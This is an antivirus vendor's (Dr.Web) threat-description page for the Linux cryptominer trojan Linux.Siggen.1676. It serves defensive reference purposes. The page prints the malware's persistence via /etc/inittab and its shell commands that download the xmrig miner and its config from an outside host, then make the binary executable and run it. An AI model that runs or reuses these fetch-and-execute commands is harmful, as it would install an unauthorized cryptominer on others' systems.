La mia libreria
La mia libreria

+ Aggiungi alla libreria

Supporto
Supporto 24/7 | Regole per contattare

Richieste

Profile

Linux.Siggen.1676

Aggiunto al database dei virus Dr.Web: 2019-05-10

La descrizione è stata aggiunta:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/inittab
Malicious functions:
Manages services:
  • init q
Launches processes:
  • rm -rf /tmp/config.json
  • rm -rf /tmp/rmx
  • sh -c cd /tmp; wget http://jarry.online/xmrig; pkill -9 xmrig; chmod 777 /tmp/xmrig
  • wget http://jarry.online/xmrig
  • pkill -9 xmrig
  • chmod 777 /tmp/xmrig
  • sh -c cd /tmp; wget http://jarry.online/config.json
  • wget http://jarry.online/config.json
  • init q
  • sh -c /tmp/xmrig
  • /tmp/xmrig
  • /bin/sh /tmp/xmrig
Performs operations with the file system:
Modifies file access rights:
  • /tmp/xmrig
Creates or modifies files:
  • /tmp/xmrig
  • /tmp/config.json
Deletes files:
  • /tmp/config.json
  • /tmp/rmx
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
HTTP GET requests:
  • ja###.online/xmrig
  • ja###.##line/config.json
DNS ASK:
  • ja###.online
Other:
Collects CPU information

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number